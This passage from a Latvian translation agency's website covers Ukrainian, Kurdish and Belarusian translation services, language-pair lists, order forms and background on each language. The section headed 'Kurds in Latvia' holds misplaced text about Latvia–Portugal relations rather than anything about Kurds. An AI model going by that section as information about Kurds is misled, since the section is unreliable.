izdevniecības, kas izdod literatūru ukraiņu valodā. Ir arī tradīcija 9. novembrī, kad vecāki pēc bērnu aizvešanas uz skolu, paši dodas uz baznīcu, lai noliktu svecīti hronista Nestora piemiņai un lūgtu viņam, lai palīdz bērniem mācībās. Ukraiņu literatūras un valodas dienā kopš 2000. gada valstī un visā pasaulē notiek diktāta rakstīšana. Jēdzienu “ukraiņu valoda” sāka lietot tikai 16. gadsimtā; līdz 19. gadsimta vidum to sauca par “rutēnu valodu”. Kopš Ukrainas prezidents ir Volodimirs Zelenskis, viņš katru gadu sveic visus pasaules ukraiņus Ukrainas rakstniecības un valodas dienā, uzsverot to, ka ukraiņu valodai ir jābūt vienotības, brālības, sirsnības, laipnības, brīvības, cieņas un mīlestības valodai vienam pret otru. Valsts vadītājs arī mudina šajā dienā izdarīt kādu noderīgu lietu: kļūt par ceļvedi kādam, kurš nerunā ukraiņu valodā, un palīdzēt cilvēkiem to apgūt. З Днем української мови та писемності! RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM UKRAIŅU VALODĀ: dokumentu tulkošana ukraiņu valodā; steidzami rakstiskie tulkojumi; notariāli apliecināts tulkojums; mājaslapu tulkošana; ukraiņu valodas tekstu korektūra; tekstu adaptācija un radošo tekstu sagatavošana; DTP – grafiskā dizaina pakalpojumi; mutiskie tulkojumi ukraiņu valodā; individuālie ukraiņu valodas kursi. UKRAIŅU VALODAS KOMBINĀCIJAS: ukraiņu–latviešu; latviešu–ukraiņu; ukraiņu–lietuviešu; lietuviešu–ukraiņu; igauņu–ukraiņu; ukraiņu–igauņu; angļu–ukraiņu; ukraiņu–angļu; krievu–ukraiņu; ukraiņu–krievu; poļu–ukraiņu; ukraiņu–poļu; ukraiņu–kurdu; kurdu–ukraiņu; čehu–ukraiņu; ukraiņu–čehu; vācu–ukraiņu; ukraiņu–vācu; spāņu–ukraiņu; ukraiņu–spāņu; franču–ukraiņu; ukraiņu–franču; itāļu–ukraiņu; ukraiņu–itāļu; dāņu–ukraiņu; ukraiņu–dāņu; zviedru–ukraiņu; ukraiņu–zviedru; norvēģu–ukraiņu; ukraiņu–norvēģu; somu–ukraiņu; ukraiņu–somu, ukraiņu–arābu; arābu–ukraiņu; ukraiņu–armēņu, armēņu–ukraiņu; ukraiņu–baltkrievu, baltkrievu–ukraiņu; bulgāru–ukraiņu, ukraiņu–bulgāru; ukraiņu–ebreju, ebreju–ukraiņu, ukraiņu–grieķu, grieķu–ukraiņu; ukraiņu–gruzīnu; gruzīnu–ukraiņu; ukraiņu–hindi; hindi–ukraiņu; ukraiņu–holandiešu; holandiešu–ukraiņu; ukraiņu–korejiešu; korejiešu–ukraiņu; ukraiņu–kurdu; kurdu–ukraiņu; ukraiņu–ķīniešu; ķīniešu–ukraiņu; ukraiņu–portugāļu; portugāļu–ukraiņu; ukraiņu–rumāņu; rumāņu–ukraiņu; ukraiņu–slovāku; slovāku–ukraiņu; ukraiņu–slovēņu; slovēņu–ukraiņu; ukraiņu–turku; turku–ukraiņu; ukraiņu–ungāru; ungāru–ukraiņu u. c. --- > Dokumentu tulkojumi un mutiskie tulkojumi kurdu valodā. Saņemiet bezmaksas cenas aprēķinu tikai 15 minūtēs! Sazinieties ar mums! - Published: 2022-02-07 - Modified: 2024-07-17 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-kurdu-valoda/ - Translation Priorities: Optional Tulkojumi un citi valodu risinājumi kurdu valodā 1 Sazināties Tulkojumi un citi valodu risinājumi kurdu valodā 1 Sazināties TULKOJUMI KURDU VALODĀ / TULKOT KURDU VALODĀ CIK MAKSĀ TULKOŠANA KURDU VALODĀ? Katram pasūtījumam cena tiek noteikta individuāli. Pakalpojuma cenu veido vairākas komponentes – tulkojuma izpildes termiņi, teksta specifika, koriģēšana, formatēšana, kā arī klienta pasūtītie papildu pakalpojumi (notariāls apliecinājums u. c. ). VAI IR PIEEJAMS TULKOJUMU CENRĀDIS? Jā, tulkojumu cenrādis no/uz kurdu valodu ir neatņemama sadarbības līguma daļa, un klients vienmēr tiek informēts par tulkojuma cenu pirms projekta realizācijas. Tulkojuma cenas tiek noteiktas ļoti individuāli, balstoties uz tulkojuma specifiku (rakstiskais vai mutiskais tulkojums), vārdu skaitu oriģināltekstā, teksta atkārtošanos tulkojumā un citiem parametriem. Lai saņemtu tieši jums sagatavotu piedāvājumu, vienkārši nosūtiet mums materiālu, kuru vēlaties tulkot. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM KURDU VALODĀ: dokumentu tulkošana kurdu valodā; steidzami rakstiskie tulkojumi; notariāli apliecināts tulkojums; mājaslapu tulkošana; kurdu valodas tekstu korektūra; tekstu adaptācija un radošo tekstu sagatavošana; DTP – grafiskā dizaina pakalpojumi; mutiskie tulkojumi kurdu valodā; individuālie kurdu valodas kursi. Kvalitātes un konfidencialitātes garantija, ko apstiprina ISO sertifikātiMūsu projektu vadītāji runā latviešu, krievu, angļu, vācu un poļu valodā99% klientu saņem cenas piedāvājumu mazāk nekā 15 minūtēsVairāk nekā 3000 valodas speciālistu un dzimtās valodas runātājuVairāk nekā 98% klientu mūs labprāt ieteiktu saviem draugiem un partneriemMūsu birojā katru gadu tiek iztulkoti vairāk nekā 16 miljoni vārdu Meklējiet valodu risinājumus kurdu valodā? Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt TULKOJUMI KURDU VALODĀ / TULKOT KURDU VALODĀ CIK MAKSĀ TULKOŠANA KURDU VALODĀ? Katram pasūtījumam cena tiek noteikta individuāli. Pakalpojuma cenu veido vairākas komponentes – tulkojuma izpildes termiņi, teksta specifika, koriģēšana, formatēšana, kā arī klienta pasūtītie papildu pakalpojumi (notariāls apliecinājums u. c. ). VAI IR PIEEJAMS TULKOJUMU CENRĀDIS? Jā, tulkojumu cenrādis no/uz kurdu valodu ir neatņemama sadarbības līguma daļa, un klients vienmēr tiek informēts par tulkojuma cenu pirms projekta realizācijas. Tulkojuma cenas tiek noteiktas ļoti individuāli, balstoties uz tulkojuma specifiku (rakstiskais vai mutiskais tulkojums), vārdu skaitu oriģināltekstā, teksta atkārtošanos tulkojumā un citiem parametriem. Lai saņemtu tieši jums sagatavotu piedāvājumu, vienkārši nosūtiet mums materiālu, kuru vēlaties tulkot. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM KURDU VALODĀ: dokumentu tulkošana kurdu valodā; steidzami rakstiskie tulkojumi; notariāli apliecināts tulkojums; mājaslapu tulkošana; kurdu valodas tekstu korektūra; tekstu adaptācija un radošo tekstu sagatavošana; DTP – grafiskā dizaina pakalpojumi; mutiskie tulkojumi kurdu valodā; individuālie kurdu valodas kursi. Meklējiet valodu risinājumus kurdu valodā? Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt KURDU VALODA FAKTOS Kurdi (kurdu: کورد, Kurd) ir irāņu tauta, kura galvenokārt apdzīvo kalnaino un vēsturisko Kurdistānu, kas atrodas vairākās valstīs (Turcijas dienvidaustrumos, Irānas ziemeļrietumos, Irākas ziemeļos un Sīrijas ziemeļaustrumos). Nozīmīgas kurdu diasporas dzīvo arī citās valstīs, piemēram, Vācijā un ASV. Kopējais kurdu skaits ir no aptuveni 35 līdz 40 miljoniem. No 11,4 līdz 14 miljoniem kurdu dzīvo Turcijā. Irānā dzīvo no 6,5 līdz 7 miljoniem kurdu, bet Irākā — no 6 līdz 6,5 miljoniem. Ceturtā lielākā valsts pēc kurdu skaita ir Sīrija. Tur dzīvo aptuveni 2 miljoni. Kurdu valoda (Kurdî vai کوردی) ir indoeiropiešu saimes irāņu atzara valoda, kurā runā plašā areālā Turcijas, Irānas, Irākas un Sīrijas robežu sadurē. Bieži tiek uzskatīts, ka kurdu valoda sastāv no vairāku radniecīgu valodu grupām, nodalot kurmandži (lielākā grupa runā Turcijā un citos areāla ziemeļdaļas rajonos), sorani (areāla vidusdaļā, galvenokārt, Irānā un Irākā) un dienvidu jeb pehlevanu (pamatā Irānā). Kā atsevišķu valodu grupu nodala zazu (Turcijā) un gorani (Irākā un Irānā) valodas, kurās runā vietējie kurdi, tomēr valodnieciski tās nepieder pie kurdu valodām. Kurdi ir viena no lielākajām tautām, kurai nav savas pašnoteikšanās un neatkarīgas valsts. Kurdiem ir viss, kas nepieciešams, lai viņu teritoriju atzītu par kurdu valsti − sava valoda, kultūra, literatūra un māksla. Viņiem ir savas literatūras tradīcijas un ievērojami rakstnieki, ļoti sena, mākslinieciski izteikti skaista folklora − dziesmas, pasakas, teikas, parunas. Ir izplatīta episkā un liriskā poēzija. Tēli un sižeti vairumā gadījumu ir aizgūti no folkloras. Ar to tiek saglabātas senās tradīcijas un kultūras savdabība, kādas otras pasaulē nemaz nav un nevar būt. Pirmie ievērojamākie kurdu dzejnieki bija Ali Teramahī un Ali Hāirdī. No senās literatūras visvairāk ir pazīstama M. Fakī Teirāna plaša apjoma poēma “Šeihs Senāns”, bet jaunlaiku literatūrā − A. Hanī poēma “Mems un Zins”. 1897. gadā tika izdots pirmais kurdu laikraksts, kas ar pārtraukumiem tika izdots līdz 1902. gadam. Pēc Turcijas valsts apvērsuma 1908. gadā radās pirmās kurdu literārās un kultūras biedrības. 1908. gada rudenī tika izveidota pirmā kurdu kultūras biedrība “Kurdistānas atgūšana un attīstība” (Taali we Terakii Kurdistan). 1912. gadā oficiāli tika apstiprināta pirmā kurdu politiskā apvienība “Kurdu cerība” (Kivija Kurd). Pēc Pirmā pasaules kara, kad kurdi tika deportēti un slepkavoti, viņu politiskā aktivitāte apsīka. Pēc tam nāca jaunas politiskas organizācijas, it īpaši “Kurdistānas atgūšanas biedrība” (Kurdistan Taali Djemijeti), kas atsāka cīņu par neatkarību. Tika uzsākta kurdu rakstības standartizēšana un valodas modernizācijas kampaņa. 1920. gada Sevras līgums paredzēja Kurdistānai piešķirt autonomiju, bet tas netika ratificēts; 1923. gada Lozannas līgumā, kas aizstāja Sevras līgumu, nebija minēta ne Kurdistāna, ne arī kurdi. Tiek uzskatīts, ka tādējādi tika zaudēta kurdiem iespēja izveidot savu valsti. Pirms 2002. gada augusta Turcijas valdība ieviesa nopietnus ierobežojumus kurdu valodas lietošanai, aizliedzot valodu izglītībā un plašsaziņas līdzekļos. 2006. gada martā Turcija atļāva privātajiem televīzijas kanāliem sākt pārraidīt programmas kurdu valodā. Tomēr Turcijas valdība paziņoja, ka viņiem ir jāizvairās rādīt bērnu karikatūras vai izglītojošus raidījumus, kuros māca kurdu valodu, un tos var pārraidīt tikai 45 minūtes dienā vai četras stundas nedēļā. Tomēr lielākā daļa no šiem ierobežojumiem privātajiem kurdu televīzijas kanāliem tika mīkstināti 2009. gada septembrī. 2010. gadā kurdu pašvaldības dienvidaustrumos sāka drukāt laulības apliecības, rēķinus par ūdeni, būvniecību un ceļa zīmes, kā arī ārkārtas, sociālos un kultūras paziņojumus kurdu valodā līdzās turku valodai. Arī imāmi sāka teikt piektdienas sprediķus kurdu valodā. Daudzi mēri tika tiesāti par publisku dokumentu izsniegšanu kurdu valodā. Kurdu alfabēts Turcijā nav atzīts, un līdz 2013. gadam nebija atļauts izmantot kurdu vārdus, kas satur burtus X , W un Q, kuri turku alfabētā nepastāv. 2012. gadā kurdu valodas stundas kļuva par izvēles priekšmetu valsts skolās. Iepriekš kurdu izglītība bija iespējama tikai privātās iestādēs. Lai gan Irānā kurdu valodu izmanto dažos vietējos plašsaziņas līdzekļos un laikrakstos, valsts skolās to neizmanto. 2005. gadā 80 Irānas kurdu piedalījās eksperimentā un ieguva stipendijas, lai mācītos kurdu valodā Irākas Kurdistānā. Kirgizstānā 96,21% kurdu iedzīvotāju runā kurdu valodā kā dzimtajā valodā. Kazahstānā attiecīgais procents ir 88,7%. KURDU VALODAS RAKSTĪBA Kurdu valodā tiek izmantotas divas dažādas rakstīšanas sistēmas: latīņu alfabēts un arābu rakstība. Kurmandži izmanto latīņu alfabēta turku interpretāciju ar nelielām izmaiņām. Tam ir dažas atšķirīgas iezīmes, piemēram, zilbes intonācijas pievienošana patskaņiem. Mācīšanās rakstīt Kurmandži neradīs lielu izaicinājumu. Sorani izmanto persiešu alfabētu, kas nāk no arābu rakstības. Tās galvenā novirze ir tāda, ka atšķirībā no persiešu rakstības sorani nosaka katra patskaņa izrunu. Protams, sorani rakstīt būs grūtāk iemācīties, ja neprot arābu rakstību. Daudzi runātāji iesaka vispirms apgūt arābu rakstību pirms sorani valodas apguves. Tas izskaidrojams ar faktu, ka kurdi dzīvo teritorijās, kas pieder dažādām valstīm. Irānā un Irākā kurdi izmanto arābu rakstību, Turcijā, Sīrijā un Azerbaidžānā ─ latīņu alfabētu, Armēnijā ─ armēņu alfabētu līdz 1946. gadam un kirilicu kopš 1946. gada. CIK SAREŽĢĪTA IR KURDU VALODA? ASV Ārlietu dienesta institūts kurdu valodu ir klasificējis kā grūtu valodu. Aptuvenie statistiskie aprēķini liecina, ka kurdu valodas apguvei līdz profesionālam darba līmenim būtu nepieciešamas vismaz 44 nedēļas (1100 mācību stundu). Kurdu valodas apguve varētu būt sarežģīta gramatikas un mācību resursu ziņā, īpaši, ja nav apgūta neviena Tuvo Austrumu valoda. Kurmandži dialekts varētu būt vieglāk apgūstams Eiropas valodu runātājiem, jo tas tiek pierakstīts, izmantojot latīņu alfabētu. Savukārtsurani dialektu pieraksta arābu rakstā. Tas nozīmē, ka kurdu valodas apguves grūtības lielā mērā ir atkarīgas no paša vēlmes, uzņemšanās, tas ir kā ar jebkuras citas valodas apguvi. Kurdu valodas priekšrocība ir tā, ka to izrunā tā, kā ir rakstīts. Ir vairākas skaņas, kas Eiropas valodu lietotājiem nav pierastas, kaut gan ir dažas līdzības spāņu valodā. KURDU VALODAS TULKS UN TULKOTĀJS Mūsu birojs piedāvā profesionālu tekstu un mutisko tulkošanu kurdu valodā un tulkojumus no kurdu valodas. Mūsu tulkotāju un tulku pieredze garantē tulkojuma atbilstību oriģināltekstam, saprotamu ietverto informāciju. Par teksta stilistisko uzlabošanu un korektūru parūpēsies mūsu speciālisti. Tulku komanda jūs nodrošinās gan ar regulāriem, gan notariāli apstiprinātiem tulkojumiem. Kurdu valodā fiziskām personām piedāvājam mutiskos tulkojumus tiesas sēdēs, valsts institūcijās u. c. Valsts iestādēm piedāvājam gan mutiskos, gan rakstiskos tulkojumus patvēruma meklētājiem. Nodrošinām ar personu apliecinošu dokumentu tulkojumiem, laulību apliecību, izglītības dokumentu u. c. civiltiesiko dokumentu rakstveida tulkojumiem, kā arī veicam mutiskos tulkojumus no/uz kurdu valodu. KUR UN CIK DAUDZ RUNĀ KURDU VALODĀ? Kurdu valodas pratēju skaits pasaulē varētu būt ap 40 miljonu. Tā ir valoda, ko lieto kurdi Turcijā, Irākā, Irānā, Sīrijā, Armēnijā un Azerbaidžānā, kā arī lielākajās kurdu diasporās Vācijā un ASV. Kurmandži dialektā runā aptuveni 15─20 miljoni kurdu Turcijā, Sīrijā, Irākas ziemeļos, ziemeļrietumu un ziemeļaustrumu Irānā. Sorani dialektā runā aptuveni 6 – 7 miljoni kurdu Irākas Kurdistānas apgabalā un Irākas Kurdistānas autonomajā reģionā. Vācijā dzīvo aptuveni 1 miljons kurdu, lielākoties tie ir imigranti no Turcijas, kuri Vācijā ieradās 60. gadu otrajā pusē un vēlāk. Kopš 2011. gada Sīrijas pilsoņu kara sākuma, lielākā daļa bēgļu, kuri ieceļo Vācijā, ir kurdi. ASV dzīvo aptuveni 40 000 kurdu imigrantu no Turcijas, Irānas, Irākas un Sīrijas. KURDI LATVIJĀ 2021. gadā Latvija un Portugāle atzīmēja diplomātisko attiecību 100. gadadienu. Pēdējā gadsimta laikā abas valstis ir saskārušās ar milzīgiem politiskiem, sociāliem un ekonomiskiem izaicinājumiem, kurus Latvijai un Portugālei izdevās pārvarēt, pateicoties savu iedzīvotāju stingrai apņēmībai. Politiskais dialogs abu valstu starpā ir ievērojami intensificējies Latvijas integrācijas ES un NATO procesu kontekstā. Pēc iestāšanās ES Latvija līdzīgi Portugālei atrodas ES perifērijā. Arī salīdzināmais valstu svars un pārstāvniecība ES institūcijās nākotnē, kā arī iespējamās kopīgās intereses jau patlaban veicina konstruktīvas konsultācijas abu valstu amatpersonu starpā. Sadarbībā ar Portugāli Latvijai ir plašas vēl neizmantotas eksporta un investīciju piesaistes iespējas. Sadarbības potenciāls ir tradicionālajās eksporta nozarēs – izglītībā, IT, metālapstrādē, elektronikā, farmācijā, kā arī pārtikas rūpniecībā. Vienlaikus potenciāls ir arī sadarbībai trešo valstu tirgu apgūšanā, izmantojot Latvijas pieredzi Centrālāzijā, savukārt Portugāles – portugāļu valodās runājošās valstīs, piemēram, Brazīlijā un Angolā, kā arī Latīņamerikā. Abas valstis sekmīgi sadarbojas arī kultūras jomā. Tā ar Gulbenkiana kultūras fonda un Kamoiša institūta (Instituto Camŏes) atbalstu ir izdots L. Brieža tulkotais un sagatavotais portugāļu mūsdienu dzejas antoloģijas krājums divās valodās. Arī Latvijas Nacionālā bibliotēka ir nodibinājusi sakarus ar Gulbenkiana fondu nepieciešamās literatūras atlasei. 2001. gadā Porto un Rīga bija Eiropas kultūras galvaspilsētas. 2002. gadā Porto tika rīkotas Rīgas dienas, kā arī viesizrādēs Portugālē viesojās Latvijas Nacionālās Operas baleta trupa. 2021. gada PMLP statistikas dati rāda, ka šobrīd Latvijā uzturas 172 portugāļi, kas pamatā ir darbinieki un studenti. Veicinot pieredzes apmaiņu profesionālajā laukā, kā arī bagātinot zināšanas un prasmes ārvalstu izglītības jomā, Portugāles un Latvijas iedzīvotāji turpina veidot arvien stiprākas un stabilas abpusējas attiecības. 2021. gada 1. janvārī Portugāle ekonomiskās krīzes dēļ apturēja Portugāles vēstniecības darbību Latvijā. Kopš tā laika šīs valsts intereses Latvijā pārstāv Stokholmā rezidējošs vēstnieks. 18. 01. 2021. Valsts prezidents Egils Levits tiešsaistes ceremonijā akreditēja V. E. Portugāles Republikas ārkārtējo un pilnvaroto vēstnieci Sāru Feroņu Martinsu (H. E. Mrs Sara Feronha Martins). KURDU VALODAS DIENA Kopš 2016. gada kurdi visā pasaulē 15. maijā atzīmē Kurdu valodas dienu, lai godinātu kurdu valodu, kas gadu desmitiem ir bijusi apspiesta, īpaši Turcijā. Datums datēts ar pirmo žurnāla kurdu valodā Hawar publikāciju 1932. gadā. Damaskā izdotais žurnāls tiek uzskatīts par kurdu izdevējdarbības pamatakmeni, un tam ir bijusi nozīmīga loma kurdu valodas vēsturē. Žurnāls Hawar, kas pirmo reizi tika izdots 1932. gada 15. maijā Damaskā un līdz 1943. gadam kopumā izdeva 57 numurus, tiek uzskatīts par pagrieziena punktu kurdu kultūras un rakstniecības vēsturē. Šī kultūras revolūcija, kuru pirms 88 gadiem vadīja Seladets Ali Bedirksans (kurdu diplomāts, rakstnieks, valodnieks un politiskais aktīvists) un viņa biedri, turpina iedvesmot kurdu valodas un kultūras studijas arī šodien. Svētkus izveidot ierosināja kurdu literatūrzinātnieki un valodnieki kā veidu, kā veicināt kurdu valodas attīstību un atzīšanu Turcijā un citās pasaules valstīs, kur mīt kurdi. Tomēr spiediens uz kurdu valodu un kultūru turpinās arī šodien, tiek slēgti kurdu valodā raidošie televīzijas kanāli, laikraksti, žurnāli, aģentūras, bērnudārzi, kas nodrošina izglītību kurdu valodā, institūti un biedrības. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM KURDU VALODĀ: dokumentu tulkošana kurdu valodā; steidzami rakstiskie tulkojumi; notariāli apliecināts tulkojums; mājaslapu tulkošana; kurdu valodas tekstu korektūra; tekstu adaptācija un radošo tekstu sagatavošana; DTP – grafiskā dizaina pakalpojumi; mutiskie tulkojumi kurdu valodā; individuālie kurdu valodas kursi. KURDU VALODAS KOMBINĀCIJAS: kurdu–latviešu; latviešu–kurdu; kurdu–lietuviešu; lietuviešu–kurdu; igauņu–kurdu; kurdu–igauņu; angļu–kurdu; kurdu–angļu; krievu–kurdu; kurdu–krievu; poļu–kurdu; kurdu–poļu; ukraiņu–kurdu; kurdu–ukraiņu; čehu–kurdu; kurdu–čehu; vācu–kurdu; kurdu–vācu; spāņu–kurdu; kurdu–spāņu; franču–kurdu; kurdu–franču; itāļu–kurdu; kurdu–itāļu; dāņu–kurdu; kurdu–dāņu; zviedru–kurdu; kurdu–zviedru; norvēģu–kurdu; kurdu–norvēģu; somu–kurdu; kurdu–somu, kurdu–arābu; arābu–kurdu; kurdu–armēņu, armēņu–kurdu; kurdu–baltkrievu, baltkrievu–kurdu; bulgāru–kurdu, kurdu–bulgāru; kurdu–ebreju, ebreju–kurdu, kurdu–grieķu, grieķu–kurdu; kurdu–gruzīnu; gruzīnu–kurdu; kurdu–hindi; hindi–kurdu; kurdu–holandiešu; holandiešu–kurdu; kurdu–korejiešu; korejiešu–kurdu; kurdu–ukraiņu; ukraiņu–kurdu; kurdu–ķīniešu; ķīniešu–kurdu; kurdu–portugāļu; portugāļu–kurdu; kurdu–rumāņu; rumāņu–kurdu; kurdu–slovāku; slovāku–kurdu; kurdu–slovēņu; slovēņu–kurdu; kurdu–turku; turku–kurdu; kurdu–ungāru; ungāru–kurdu u. c. --- > Dokumentu tulkojumi, mutiskie tulkojumi un citi valodu risinājumi baltkrievu valodā. Saņemiet cenas aprēķinu tikai 15 minūtēs! - Published: 2022-02-03 - Modified: 2025-07-21 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-baltkrievu-valoda/ - Translation Priorities: Optional TULKOJUMI BALTKRIEVU VALODĀ / TULKOT BALTKRIEVU VALODĀ CIK MAKSĀ TULKOŠANA BALTKRIEVU VALODĀ? Katram pasūtījumam cena tiek noteikta individuāli. Pakalpojuma cenu veido vairākas komponentes – tulkojuma izpildes termiņi, teksta specifika, koriģēšana, formatēšana, kā arī klienta pasūtītie papildu pakalpojumi (notariāls apliecinājums u. c. ). VAI IR PIEEJAMS TULKOJUMU CENRĀDIS? Jā, tulkojumu cenrādis no/uz baltkrievu valodu ir neatņemama sadarbības līguma daļa, un klients vienmēr tiek informēts par tulkojuma cenu pirms projekta realizācijas. Tulkojuma cenas tiek noteiktas ļoti individuāli, balstoties uz tulkojuma specifiku (rakstiskais vai mutiskais tulkojums), vārdu skaitu teksta oriģinālā, teksta atkārtošanos tulkojumā un citiem parametriem. Lai saņemtu tieši jums sagatavotu piedāvājumu, vienkārši nosūtiet mums materiālu, kuru vēlaties tulkot. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM BALTKRIEVU VALODĀ: dokumentu tulkošana baltkrievu valodā; steidzami rakstiskie tulkojumi; notariāli apliecināts tulkojums; mājaslapu tulkošana; baltkrievu valodas tekstu korektūra; tekstu adaptācija un radošo tekstu sagatavošana; DTP – grafiskā dizaina pakalpojumi; mutiskie tulkojumi baltkrievu valodā; individuālie baltkrievu valodas kursi. Kvalitātes un konfidencialitātes garantija, ko apstiprina ISO sertifikātiMūsu projektu vadītāji runā latviešu, krievu, angļu, vācu un poļu valodā99% klientu saņem cenas piedāvājumu mazāk nekā 15 minūtēsVairāk nekā 3000 valodas speciālistu un dzimtās valodas runātājuVairāk nekā 98% klientu mūs labprāt ieteiktu saviem draugiem un partneriemMūsu birojā katru gadu tiek iztulkoti vairāk nekā 16 miljoni vārdu Meklējiet valodu risinājumus baltkrievu valodā? Sazinieties ar mums! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt TULKOJUMI BALTKRIEVU VALODĀ / TULKOT BALTKRIEVU VALODĀ CIK MAKSĀ TULKOŠANA BALTKRIEVU VALODĀ? Katram pasūtījumam cena tiek noteikta individuāli. Pakalpojuma cenu veido vairākas komponentes – tulkojuma izpildes termiņi, teksta specifika, koriģēšana, formatēšana, kā arī klienta pasūtītie papildu pakalpojumi (notariāls apliecinājums u. c. ). VAI IR PIEEJAMS TULKOJUMU CENRĀDIS? Jā, tulkojumu cenrādis no/uz baltkrievu valodu ir neatņemama sadarbības līguma daļa, un klients vienmēr tiek informēts par tulkojuma cenu pirms projekta realizācijas. Tulkojuma cenas tiek noteiktas ļoti individuāli, balstoties uz tulkojuma specifiku (rakstiskais vai mutiskais tulkojums), vārdu skaitu teksta oriģinālā, teksta atkārtošanos tulkojumā un citiem parametriem. Lai saņemtu tieši jums sagatavotu piedāvājumu, vienkārši nosūtiet mums materiālu, kuru vēlaties tulkot. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM BALTKRIEVU VALODĀ: dokumentu tulkošana baltkrievu valodā; steidzami rakstiskie tulkojumi; notariāli apliecināts tulkojums; mājaslapu tulkošana; baltkrievu valodas tekstu korektūra; tekstu adaptācija un radošo tekstu sagatavošana; DTP – grafiskā dizaina pakalpojumi; mutiskie tulkojumi baltkrievu valodā; individuālie baltkrievu valodas kursi. Meklējiet valodu risinājumus baltkrievu valodā? Sazinieties ar mums! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt BALTKRIEVU VALODA FAKTOS Baltkrievu valoda ir austrumslāvu valodu saimes valoda, kurā galvenokārt runā baltkrievi. Pēc 1995. gada 14. maija referenduma baltkrievu valoda zaudēja savu vienīgās valsts valodas statusu, un tās prestižs un sabiedriskais lietojums Baltkrievijā sāka strauji kristies. Pirmajā Baltkrievijas 1999. gada tautas skaitīšanā baltkrievu valodu kā “valodu, kurā runā ģimenē” nosauca aptuveni 4 milj. Baltkrievijas pilsoņu jeb 36,7% iedzīvotāju. Aptuveni 7 milj. jeb 85,6% baltkrievu to sauca par savu “dzimto valodu”. Saskaņā ar Baltkrievijas valdības 2009. gadā veikto pētījumu 72% baltkrievu mājās runā krieviski, savukārt baltkrievu valodu aktīvi lieto tikai 11,9% baltkrievu. Aptuveni 29,4% baltkrievu prot rakstīt, runāt un lasīt baltkrievu valodā, bet 52,5% prot tikai lasīt un runāt. Baltkrievu valoda ir baltkrievu etnosa nacionālā valoda un Baltkrievijas Republikas valsts valoda, tomēr literārajā baltkrievu valodā runā tikai neliela iedzīvotāju daļa (optimistiskākais novērtējums ‒ ne vairāk par 28% Baltkrievijas iedzīvotāju), un pamatā tas notiek intelektuālajās ģimenēs, apzināti uzturot 